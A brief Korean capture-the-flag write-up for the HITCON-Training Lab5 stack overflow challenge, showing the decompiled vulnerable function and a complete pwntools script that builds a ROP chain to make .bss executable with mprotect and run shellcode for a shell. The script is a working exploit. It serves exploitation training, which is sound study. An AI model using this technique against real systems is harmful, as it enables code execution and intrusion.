[HITCON-Training]Lab5
statically linked, not stripped된 파일이고 ROP문제다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h]
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 100);
}
mprotect함수로 원하는 주소에 권한을 부여하고 shellcode를 넣고 실행해주면 된다.
from pwn import *
context.arch = 'i386'
e = ELF('./simplerop')
p = process('./simplerop')
r = ROP(e)
mprotect = e.symbols['mprotect']
bss = 0x080EB000
shellcode = asm(shellcraft.i386.sh())
print shellcode
pay = 'A'*(0x1c+4)
r.read(0,bss,0x100)
r.mprotect(bss,0x2000,0x7)
r.raw(bss)
pay += r.chain()
p.sendlineafter(':',pay)
p.sendline(shellcode)
p.interactive()